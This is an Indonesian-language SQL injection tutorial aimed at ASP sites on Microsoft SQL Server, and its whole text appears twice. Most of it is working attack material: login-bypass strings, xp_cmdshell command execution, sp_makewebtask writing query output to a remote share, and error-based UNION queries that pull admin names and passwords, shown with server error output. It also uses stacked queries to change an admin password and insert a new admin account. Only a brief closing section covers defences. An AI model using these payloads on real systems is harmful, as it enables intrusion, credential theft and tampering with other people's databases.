SQL Injection adalah sebuah teknik untuk mengeksporasi aplikasi web dengan |
memanfaatkan suplai data dari client dalam sintak SQL. Banyak halaman web |
memakai parameter dari web user untuk menggunakan query ke dalam database. |
Kita ambil sebagai contoh ketika user akan login, halaman user akan mengirim user |
dan login sebagai parameter untuk digunakan sebagai SQL dan mencek apakah user |
dan password cocok. Dengan SQL Injection ini sangat mungkin untuk kita mengirim |
user nama dan password dan dianggap benar. |
Walaupun mudah untuk menandai dan melindungi model serangan ini, tapi cukup |
mengherankan banyak aplikasi web yang terserang dengan metode ini. Pada |
pembahasan selanjutnya dicontohkan ketika memakai web server IIS dan Microsoft |
SQL Server untuk databasenya, sedangkan skrip yang dipakai adalah ASP. |
Apa yang diperlukan |
Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang |
dipakai adalah segala macam browser. |
Apa yang perlu di cari ? |
Kita dapat memanfaatkan halaman-halaman web yang terdapat |
submit data |
, contoh: |
halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML |
menggunakan metode POST untuk mengirim parameter ke halaman web yang lain. |
Jika model halamnnya seperti ini maka kita harus melihat source code karena kita |
tidak dapat melihat pada URL. Mudah untuk mencek source code halaman HTML, |
tinggal klik kanan pilih view source (pada Internet Exlorer), kemudian cari kode |
“FORM”. Berikut contoh halaman tersebut: |
|
|
|
Semua yang terletak diantara mempunyai potensial untuk |
digunakan mengekplorasi halaman web tersebut. Karena itu dapat menjadi sebuah |
parameter. Halaman diatas berarti akan mengrimkan parameter bernama “login” |
dengan nilai (value)=”Erwin”. |
Bagaimana jika tidak bukan halaman input ? |
Jika halaman bukan berbentuk form input, maka anda harus cari halaman yang di |
buat dengan bahasa pemrograman internet seperti ASP, JSP, CGI or PHP, kemudian |
cari spesial URL seperti http://www.Erwin.com/profile.asp?id=10. Ini berarti |
halaman web ASP dengan parameter “id” yang bernilai “10”. |
Bagaimana cara mengetes suatu halaman web mudah diserang? |
Dimulai dari pengunaan single quote. Seperti masukan: |
hi or 1=1-- |
Dalam login, password, atau URL lain. |
Contoh: |
- Login: hi' or 1=1-- |
- Pass: hi' or 1=1-- |
- http://www.Erwin.com/profil.asp?id=10id=hi' or 1=1-- |
Jika halaman dalam bentuk ada field yang bertipe hidden, anda tinggal download |
kode HTML dari situs yang anda buka ke hard disk anda, di modifikasi sedikit |
kemudian di simpan dalam hard disk dan modifikasi URL, seperi contoh berikut: |
Skrip awal: |
|
|
|
Setelah di modifikasi: |
|
|
|
Jika anda beruntung maka dengan cara seperti itu anda dapat masuk ke halaman |
web tanpa harus mengisikan login name dan password yang benar. |
Kenapa Harus ‘ or 1=1-- |
Kita akan ekplorasi pentingnya 1=1 -- dan apakah memperoleh informasi yang tidak |
normal (diberikan kepada user biasa) dari sebuah web site. Kita ambil halaman asp |
yang di link ke halaman lain seperti URL berikut: |
http://www.Erwin.com/barang.asp?category=food |
Dalam URL diatas, “category” adalah nama variabel sedangkan “food” adalah nilai |
yang diberikan pada variabel tersebut. Untuk dapat mengambil nilai dari variabel |
diatas berikut code program pada file barang.asp. |
v_cat = request("category") |
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" |
set rs=conn.execute(sqlstr) |
seperti kita lihat pada contoh diatas variabel kita bungkus dan diberi nama “v_cat” |
dan SQL menjadi: |
SELECT * FROM product WHERE PCategory='food' |
Pada query diatas menghasilkan ini satu atau beberapa baris yang cocok untuk |
kondisi dimana (WHERE) kondisinya adalah ‘food’. |
Sekarang kita asumsikan URL diatas kita ganti menjadi seperti ini: |
http://www.Erwin.com/barang.asp?category=food' or 1=1-- |
Sekarang variabel “v_cat” kita menjadi “foot’ or 1=1—, jika masukkan ke query maka: |
SELECT * FROM product WHERE PCategory='food' or 1=1--' |
Query diatas berarti menampilkan semua dari tabel product dengan “Pcategory” |
sama dengan ‘food’ atau tidak. Sedangkan double dash “--“ menyatakan pada SQL |
server untuk mengabaikan kesalahan query, yang akan membersihkan single quote |
yang terakhir. Kadang kita dapat menggenti double quote dengan has tunggal “#”. |
Jika cara diatas tidak dapat mennyebabkan SQL server mengabaikan kesalahan |
query anda dapat mencoba. |
' or 'a'='a |
Sehingga query akan menjadi: |
SELECT * FROM product WHERE PCategory='food' or 'a'='a' |
Itu seharusnya akan menghasilkan hasil yang sama. |
Tergantung pada peraturan Query, dapat dicoba dengan beberapa alternatif yang |
mungkin: |
' or 1=1-- |
" or 1=1-- |
or 1=1-- |
' or 'a'='a |
" or "a"="a |
') or ('a'='a |
4.0 Bagaimana mengeksekusi jarak jauh dengan SQL Injection? |
Melakukan perintah injeksi SQL berarti kita dapat mengeksekusi perintah SQL. |
Secara default Microsoft SQL Server running sebagai SYSTEM, yang berarti sama |
dengan Administrator mengakses Windows. Kita dapat menggunakan store |
procedure seperti master..xp_cmdshell untuk melakukan remote exucution: |
'; exec master..xp_cmdshell 'ping 10.10.1.2'-- |
Dapat dicoba menggunakan double quote (") jika single quote (') tidak berjalan. |
Semi colon digunakan untuk mengakhiri query, jadi setelah semicolon kita |
membolehkan untuk memulai perintah SQL baru. Untuk menguji perintah diatas di |
eksekusi dengan sukses, anda dapat memperoleh informasi dari paket ICMP dari |
10.10.1.2, yang akan mencek setiap paket dari server. |
#tcpdump icmp |
Jika tidak mendapatkan perintah request ping dari server, dan pesan error yang |
mengidikasikan kesalahan permission, ini juga berarti administrator membatasi akses |
Web User untuk menakses store procedure tersebut. |
Bagaimana memperoleh output dari SQL Query kita ? |
Kita bisa menggunakan sp_makewebtask untuk menuliskan wuery dalam HTML. |
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM |
INFORMATION_SCHEMA.TABLES" |
Dengan syarat target IP harus berupa folder “share” yang di sharing untuk semuanya |
user. |
Bagaimana memperoleh data dari pesan kesalahan database ? |
Kita dapat menggunakan informasi pesan kesalahan yang di keluarkan oleh MS SQL |
Server untuk mendapatkan sebagian data yang kita perlukan. |
http://www.Erwin.com/barang.asp?id=10 |
Kita akan mencoba UNION integer ‘10’ dengan string dari database: |
http://www.Erwin.com/barang.asp?id=10 UNION SELECT TOP 1 TABLE_NAME |
FROM INFORMATION_SCHEMA.TABLES-- |
Tabel system INFORMATION_SCHEMA.TABLES berisi informasi semua tabel di |
dalam server. Pada TABLE_NAME fieldnya berisi dengan jelas nama masing-masing |
tabel dalam database. Itu kita pilih karena pasti ada dalam sebuah database dalam |
SQL Server, query nya adalah: |
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES- |
Query diatas akan mengembalikan tabel pertama dalam database. Ketika kita UNION |
nilai string dengan integer 10, MS-SQL Server mencoba menkonversi string |
(nvarchar) menjadi integer. Ini akan menghasilkan error, ketika kita tidak bisa |
mengkonversi dari string (nvarchar) to int, server akan menampilkan pesan |
kesalahan. |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'table1' to a column of data type int. |
/barang.asp, line 5 |
Error ini bagus buat kita dan cukup untuk mengatakan pada kita ada nilai yang tidak |
dapat di konversi menjadi integer. Dalam kasus ini, kita memperoleh tabel pertama di |
dalam database, yang namanya “tabel1”. |
Untuk dapat menampilkan nama tabel yang lain, kita dapat mengikuti query berikut: |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME |
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN |
('table1')-- |
Kita juga dapat mencari data mengunakan keyword LIKE. |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME |
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE |
'%25login%25'-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'admin_login' to a column of data type int. |
/index.asp, line 5 |
Jika kita lihat syntax ini sama antara '%25login%25' dan %login% dalam SQL Server. |
Dalam kasus ini, kita akan mendapatkan nama tabel pertama yang cocok untuk |
criteria “admin_login”. |
Bagaimana mendapatkan semua nama kolom dalam tabel ? |
Kita dapat menggunakan kegunaan lain dari tabel |
INFORMATION_SCHEMA.COLUMNS untuk memetakan nama kolom dalam sebuah |
tabel dalam database. |
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM |
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'login_id' to a column of data type int. |
/index.asp, line 5 |
Jika sekarang yang kita punya adalah colum nama pertama, kita dapat menggunakan |
NOT IN () untuk mendapatkan nama kolom berikutnya. |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 |
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE |
TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'login_name' to a column of data type int. |
/index.asp, line 5 |
Ketika kita meneruskan lebih lanjut, kita memperoleh sisa (rest) nama kolom yang |
lain, seperti contoh: “password”, “detail”. Kita tahu ini ketika kita memperoleh pesan |
kesalahan. |
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM |
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' |
WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' |
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in |
the select list if the statement contains a UNION operator. |
/index.asp, line 5 |
Bagaimana mendapatkan kembali data yang kita perlukan ? |
Sekarang kita sudah menidentifikasi beberapa tabel yang penting, dan nama |
kolomnya, kita dapat menggunakan teknik yang sama untuk informasi lebih lanjut |
yang kita inginkan dari database. |
Sekarang, kita lihat login_name yang pertama dari tabel “admin_login”: |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 login_name |
FROM admin_login-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'neo' to a column of data type int. |
/index.asp, line 5 |
Kita tahu ada admin user dengan login name “neo”. Akhirnya mendapatkan password |
dari “neo” dari database. |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 password |
FROM admin_login where login_name='neo'-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'm4trix' to a column of data type int. |
/index.asp, line 5 |
Sekarang kita dapat login sebagai “neo” dengan menggunakan password “m4trix”. |
Bagaimana mendapatkan niilai numeric string ? |
Ada batasan teknik untuk menerangkan hal diatas. Kita tidak dapat mendapatkan |
pesan error jika kita mencoba menkonversi text yang terdiri dari valid number |
(carakter antara 0-9 saja). Kita coba mendapatkan password dari “trinity” yang |
“31173”. |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 password |
FROM admin_login where login_name='trinity'-- |
Kita mungkin akan mendapatkan sebuah halaman “Page Not Found” error. Ini karena |
password “31173” akan di konversi menjadi number, sebelum UNION dengan integer |
(10 dalam kasus ini). Selama statement UNION valid, SQL Sqerver tidak akan |
melemparkan pesan kesalahan, dan kita tidak akan mendapatkan kembalian data |
beberapa masukan numeric. |
Untuk dapat memecahkan masalah ini, kita dapat menginputkan numeric string |
dengan beberapa alphabet yang dipastikan gagal untuk di konversi. Kita coba query |
berikut: |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, |
password%2b'%20morpheus') FROM admin_login where login_name='trinity'-- |
Kita dengan mudah menggunakan tanda (+) untuk memasukkan password dengan |
suatu tek yang kita inginkan. Kode ASSCII untuk ‘+’ =0x2b. kita menambahkan |
‘(space)morpheus’ dalam passeord yang sebenarnya. Oleh karena itu, selama kita |
mempunyai numeric string ‘31173’, ini akan menjadi ’31173’ morpheus’. Dengan |
memanggil function convert(), mencoba menkonversi ‘31173 mopheus’ menjadi |
sebuah integer, SQL Server akan mengeluarkan pesan kesalahan: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value '31173 morpheus' to a column of data type int. |
/index.asp, line 5 |
Sekarang, anda dapat login sebagai 'trinity' dengan password '31173'. |
Bagaimana megupdate dan memasukkan data ke dalam database? |
Ketka kita sukses mengetahui nama kolom dalam tabel, kita memungkinkan untuk |
kita meng UPDATE atau melakukan INSERT record baru dalam tabel. Sebagai |
contoh menganti password “neo”: |
http://www.Erwin.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' |
= 'newpas5' WHERE login_name='neo'-- |
Untuk INSERT record baru ke dalam database: |
http://www.Erwin.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', |
'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-- |
Kita dapat login sebagai “neo2” dengan password “newpas5” |
Bagimana menghindari SQL Injection? |
Langkah yang dapat di tempuh untuk mengurangi penyusupan ke halaman web |
dengan SQL Injection dengan cara: |
a. Memfilter dengan tidak membolehkan karakter seperti single quote, double |
quote, slash, back slash, semi colon, extended character like NULL, carry return, |
new line, etc, dalam string form: |
- Masukan dari from users |
- Parameters di URL |
- Nilai dari cookie |
b. Untuk nilai numeric, convert dulu sebelum melewati statement SQL dengan |
mengunakan ISNUMERIC untuk meyakinkan itu adalah integer. |
c. Mengubah "Startup and run SQL Server" menggunakan low privilege user |
dalam SQL Server Security tab. |
d. Ubah stored procedure – store procedure yang tidak terpakai, seperti: |
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask |
Kesimpulan |
SQL Injection dapat bekerja hanya dengan menggunakan Port 80. Fasilitas Web |
Server yang digunakan untuk menampilkan pesan kesalahan dan stored procedure |
default Microsoft SQL Server dapat di gunakan untuk mengekplorasi halaman web |
dengan SQL Injection. |
Untuk meminimalkan penyusupan ke server Web dan Server Database kita dapat |
menghapus atau menonaktifkan service dan stored procedure yang tidak diperlukan. |
Yang paling penting untuk menutup halaman web kita dengan dari serangan dengan |
motode SQL Injection adalah Validasi input sebelum dikirim ke web server. |
Daftar Referensi |
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6 |
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc |
http://www.owasp.org/asac/input_validation/sql.shtml |
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 |
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6 |
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf |
SQL Injection adalah sebuah teknik untuk mengeksporasi aplikasi web dengan |
memanfaatkan suplai data dari client dalam sintak SQL. Banyak halaman web |
memakai parameter dari web user untuk menggunakan query ke dalam database. |
Kita ambil sebagai contoh ketika user akan login, halaman user akan mengirim user |
dan login sebagai parameter untuk digunakan sebagai SQL dan mencek apakah user |
dan password cocok. Dengan SQL Injection ini sangat mungkin untuk kita mengirim |
user nama dan password dan dianggap benar. |
Walaupun mudah untuk menandai dan melindungi model serangan ini, tapi cukup |
mengherankan banyak aplikasi web yang terserang dengan metode ini. Pada |
pembahasan selanjutnya dicontohkan ketika memakai web server IIS dan Microsoft |
SQL Server untuk databasenya, sedangkan skrip yang dipakai adalah ASP. |
Apa yang diperlukan |
Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang |
dipakai adalah segala macam browser. |
Apa yang perlu di cari ? |
Kita dapat memanfaatkan halaman-halaman web yang terdapat |
submit data |
, contoh: |
halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML |
menggunakan metode POST untuk mengirim parameter ke halaman web yang lain. |
Jika model halamnnya seperti ini maka kita harus melihat source code karena kita |
tidak dapat melihat pada URL. Mudah untuk mencek source code halaman HTML, |
tinggal klik kanan pilih view source (pada Internet Exlorer), kemudian cari kode |
“FORM”. Berikut contoh halaman tersebut: |
|
|
|
Semua yang terletak diantara mempunyai potensial untuk |
digunakan mengekplorasi halaman web tersebut. Karena itu dapat menjadi sebuah |
parameter. Halaman diatas berarti akan mengrimkan parameter bernama “login” |
dengan nilai (value)=”Erwin”. |
Bagaimana jika tidak bukan halaman input ? |
Jika halaman bukan berbentuk form input, maka anda harus cari halaman yang di |
buat dengan bahasa pemrograman internet seperti ASP, JSP, CGI or PHP, kemudian |
cari spesial URL seperti http://www.Erwin.com/profile.asp?id=10. Ini berarti |
halaman web ASP dengan parameter “id” yang bernilai “10”. |
Bagaimana cara mengetes suatu halaman web mudah diserang? |
Dimulai dari pengunaan single quote. Seperti masukan: |
hi or 1=1-- |
Dalam login, password, atau URL lain. |
Contoh: |
- Login: hi' or 1=1-- |
- Pass: hi' or 1=1-- |
- http://www.Erwin.com/profil.asp?id=10id=hi' or 1=1-- |
Jika halaman dalam bentuk ada field yang bertipe hidden, anda tinggal download |
kode HTML dari situs yang anda buka ke hard disk anda, di modifikasi sedikit |
kemudian di simpan dalam hard disk dan modifikasi URL, seperi contoh berikut: |
Skrip awal: |
|
|
|
Setelah di modifikasi: |
|
|
|
Jika anda beruntung maka dengan cara seperti itu anda dapat masuk ke halaman |
web tanpa harus mengisikan login name dan password yang benar. |
Kenapa Harus ‘ or 1=1-- |
Kita akan ekplorasi pentingnya 1=1 -- dan apakah memperoleh informasi yang tidak |
normal (diberikan kepada user biasa) dari sebuah web site. Kita ambil halaman asp |
yang di link ke halaman lain seperti URL berikut: |
http://www.Erwin.com/barang.asp?category=food |
Dalam URL diatas, “category” adalah nama variabel sedangkan “food” adalah nilai |
yang diberikan pada variabel tersebut. Untuk dapat mengambil nilai dari variabel |
diatas berikut code program pada file barang.asp. |
v_cat = request("category") |
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" |
set rs=conn.execute(sqlstr) |
seperti kita lihat pada contoh diatas variabel kita bungkus dan diberi nama “v_cat” |
dan SQL menjadi: |
SELECT * FROM product WHERE PCategory='food' |
Pada query diatas menghasilkan ini satu atau beberapa baris yang cocok untuk |
kondisi dimana (WHERE) kondisinya adalah ‘food’. |
Sekarang kita asumsikan URL diatas kita ganti menjadi seperti ini: |
http://www.Erwin.com/barang.asp?category=food' or 1=1-- |
Sekarang variabel “v_cat” kita menjadi “foot’ or 1=1—, jika masukkan ke query maka: |
SELECT * FROM product WHERE PCategory='food' or 1=1--' |
Query diatas berarti menampilkan semua dari tabel product dengan “Pcategory” |
sama dengan ‘food’ atau tidak. Sedangkan double dash “--“ menyatakan pada SQL |
server untuk mengabaikan kesalahan query, yang akan membersihkan single quote |
yang terakhir. Kadang kita dapat menggenti double quote dengan has tunggal “#”. |
Jika cara diatas tidak dapat mennyebabkan SQL server mengabaikan kesalahan |
query anda dapat mencoba. |
' or 'a'='a |
Sehingga query akan menjadi: |
SELECT * FROM product WHERE PCategory='food' or 'a'='a' |
Itu seharusnya akan menghasilkan hasil yang sama. |
Tergantung pada peraturan Query, dapat dicoba dengan beberapa alternatif yang |
mungkin: |
' or 1=1-- |
" or 1=1-- |
or 1=1-- |
' or 'a'='a |
" or "a"="a |
') or ('a'='a |
4.0 Bagaimana mengeksekusi jarak jauh dengan SQL Injection? |
Melakukan perintah injeksi SQL berarti kita dapat mengeksekusi perintah SQL. |
Secara default Microsoft SQL Server running sebagai SYSTEM, yang berarti sama |
dengan Administrator mengakses Windows. Kita dapat menggunakan store |
procedure seperti master..xp_cmdshell untuk melakukan remote exucution: |
'; exec master..xp_cmdshell 'ping 10.10.1.2'-- |
Dapat dicoba menggunakan double quote (") jika single quote (') tidak berjalan. |
Semi colon digunakan untuk mengakhiri query, jadi setelah semicolon kita |
membolehkan untuk memulai perintah SQL baru. Untuk menguji perintah diatas di |
eksekusi dengan sukses, anda dapat memperoleh informasi dari paket ICMP dari |
10.10.1.2, yang akan mencek setiap paket dari server. |
#tcpdump icmp |
Jika tidak mendapatkan perintah request ping dari server, dan pesan error yang |
mengidikasikan kesalahan permission, ini juga berarti administrator membatasi akses |
Web User untuk menakses store procedure tersebut. |
Bagaimana memperoleh output dari SQL Query kita ? |
Kita bisa menggunakan sp_makewebtask untuk menuliskan wuery dalam HTML. |
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM |
INFORMATION_SCHEMA.TABLES" |
Dengan syarat target IP harus berupa folder “share” yang di sharing untuk semuanya |
user. |
Bagaimana memperoleh data dari pesan kesalahan database ? |
Kita dapat menggunakan informasi pesan kesalahan yang di keluarkan oleh MS SQL |
Server untuk mendapatkan sebagian data yang kita perlukan. |
http://www.Erwin.com/barang.asp?id=10 |
Kita akan mencoba UNION integer ‘10’ dengan string dari database: |
http://www.Erwin.com/barang.asp?id=10 UNION SELECT TOP 1 TABLE_NAME |
FROM INFORMATION_SCHEMA.TABLES-- |
Tabel system INFORMATION_SCHEMA.TABLES berisi informasi semua tabel di |
dalam server. Pada TABLE_NAME fieldnya berisi dengan jelas nama masing-masing |
tabel dalam database. Itu kita pilih karena pasti ada dalam sebuah database dalam |
SQL Server, query nya adalah: |
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES- |
Query diatas akan mengembalikan tabel pertama dalam database. Ketika kita UNION |
nilai string dengan integer 10, MS-SQL Server mencoba menkonversi string |
(nvarchar) menjadi integer. Ini akan menghasilkan error, ketika kita tidak bisa |
mengkonversi dari string (nvarchar) to int, server akan menampilkan pesan |
kesalahan. |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'table1' to a column of data type int. |
/barang.asp, line 5 |
Error ini bagus buat kita dan cukup untuk mengatakan pada kita ada nilai yang tidak |
dapat di konversi menjadi integer. Dalam kasus ini, kita memperoleh tabel pertama di |
dalam database, yang namanya “tabel1”. |
Untuk dapat menampilkan nama tabel yang lain, kita dapat mengikuti query berikut: |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME |
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN |
('table1')-- |
Kita juga dapat mencari data mengunakan keyword LIKE. |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME |
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE |
'%25login%25'-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'admin_login' to a column of data type int. |
/index.asp, line 5 |
Jika kita lihat syntax ini sama antara '%25login%25' dan %login% dalam SQL Server. |
Dalam kasus ini, kita akan mendapatkan nama tabel pertama yang cocok untuk |
criteria “admin_login”. |
Bagaimana mendapatkan semua nama kolom dalam tabel ? |
Kita dapat menggunakan kegunaan lain dari tabel |
INFORMATION_SCHEMA.COLUMNS untuk memetakan nama kolom dalam sebuah |
tabel dalam database. |
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM |
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'login_id' to a column of data type int. |
/index.asp, line 5 |
Jika sekarang yang kita punya adalah colum nama pertama, kita dapat menggunakan |
NOT IN () untuk mendapatkan nama kolom berikutnya. |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 |
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE |
TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'login_name' to a column of data type int. |
/index.asp, line 5 |
Ketika kita meneruskan lebih lanjut, kita memperoleh sisa (rest) nama kolom yang |
lain, seperti contoh: “password”, “detail”. Kita tahu ini ketika kita memperoleh pesan |
kesalahan. |
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM |
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' |
WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' |
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in |
the select list if the statement contains a UNION operator. |
/index.asp, line 5 |
Bagaimana mendapatkan kembali data yang kita perlukan ? |
Sekarang kita sudah menidentifikasi beberapa tabel yang penting, dan nama |
kolomnya, kita dapat menggunakan teknik yang sama untuk informasi lebih lanjut |
yang kita inginkan dari database. |
Sekarang, kita lihat login_name yang pertama dari tabel “admin_login”: |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 login_name |
FROM admin_login-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'neo' to a column of data type int. |
/index.asp, line 5 |
Kita tahu ada admin user dengan login name “neo”. Akhirnya mendapatkan password |
dari “neo” dari database. |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 password |
FROM admin_login where login_name='neo'-- |
Hasil: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value 'm4trix' to a column of data type int. |
/index.asp, line 5 |
Sekarang kita dapat login sebagai “neo” dengan menggunakan password “m4trix”. |
Bagaimana mendapatkan niilai numeric string ? |
Ada batasan teknik untuk menerangkan hal diatas. Kita tidak dapat mendapatkan |
pesan error jika kita mencoba menkonversi text yang terdiri dari valid number |
(carakter antara 0-9 saja). Kita coba mendapatkan password dari “trinity” yang |
“31173”. |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 password |
FROM admin_login where login_name='trinity'-- |
Kita mungkin akan mendapatkan sebuah halaman “Page Not Found” error. Ini karena |
password “31173” akan di konversi menjadi number, sebelum UNION dengan integer |
(10 dalam kasus ini). Selama statement UNION valid, SQL Sqerver tidak akan |
melemparkan pesan kesalahan, dan kita tidak akan mendapatkan kembalian data |
beberapa masukan numeric. |
Untuk dapat memecahkan masalah ini, kita dapat menginputkan numeric string |
dengan beberapa alphabet yang dipastikan gagal untuk di konversi. Kita coba query |
berikut: |
http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, |
password%2b'%20morpheus') FROM admin_login where login_name='trinity'-- |
Kita dengan mudah menggunakan tanda (+) untuk memasukkan password dengan |
suatu tek yang kita inginkan. Kode ASSCII untuk ‘+’ =0x2b. kita menambahkan |
‘(space)morpheus’ dalam passeord yang sebenarnya. Oleh karena itu, selama kita |
mempunyai numeric string ‘31173’, ini akan menjadi ’31173’ morpheus’. Dengan |
memanggil function convert(), mencoba menkonversi ‘31173 mopheus’ menjadi |
sebuah integer, SQL Server akan mengeluarkan pesan kesalahan: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' |
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the |
nvarchar value '31173 morpheus' to a column of data type int. |
/index.asp, line 5 |
Sekarang, anda dapat login sebagai 'trinity' dengan password '31173'. |
Bagaimana megupdate dan memasukkan data ke dalam database? |
Ketka kita sukses mengetahui nama kolom dalam tabel, kita memungkinkan untuk |
kita meng UPDATE atau melakukan INSERT record baru dalam tabel. Sebagai |
contoh menganti password “neo”: |
http://www.Erwin.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' |
= 'newpas5' WHERE login_name='neo'-- |
Untuk INSERT record baru ke dalam database: |
http://www.Erwin.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', |
'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-- |
Kita dapat login sebagai “neo2” dengan password “newpas5” |
Bagimana menghindari SQL Injection? |
Langkah yang dapat di tempuh untuk mengurangi penyusupan ke halaman web |
dengan SQL Injection dengan cara: |
a. Memfilter dengan tidak membolehkan karakter seperti single quote, double |
quote, slash, back slash, semi colon, extended character like NULL, carry return, |
new line, etc, dalam string form: |
- Masukan dari from users |
- Parameters di URL |
- Nilai dari cookie |
b. Untuk nilai numeric, convert dulu sebelum melewati statement SQL dengan |
mengunakan ISNUMERIC untuk meyakinkan itu adalah integer. |
c. Mengubah "Startup and run SQL Server" menggunakan low privilege user |
dalam SQL Server Security tab. |
d. Ubah stored procedure – store procedure yang tidak terpakai, seperti: |
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask |
Kesimpulan |
SQL Injection dapat bekerja hanya dengan menggunakan Port 80. Fasilitas Web |
Server yang digunakan untuk menampilkan pesan kesalahan dan stored procedure |
default Microsoft SQL Server dapat di gunakan untuk mengekplorasi halaman web |
dengan SQL Injection. |
Untuk meminimalkan penyusupan ke server Web dan Server Database kita dapat |
menghapus atau menonaktifkan service dan stored procedure yang tidak diperlukan. |
Yang paling penting untuk menutup halaman web kita dengan dari serangan dengan |
motode SQL Injection adalah Validasi input sebelum dikirim ke web server. |
Daftar Referensi |
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6 |
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc |
http://www.owasp.org/asac/input_validation/sql.shtml |
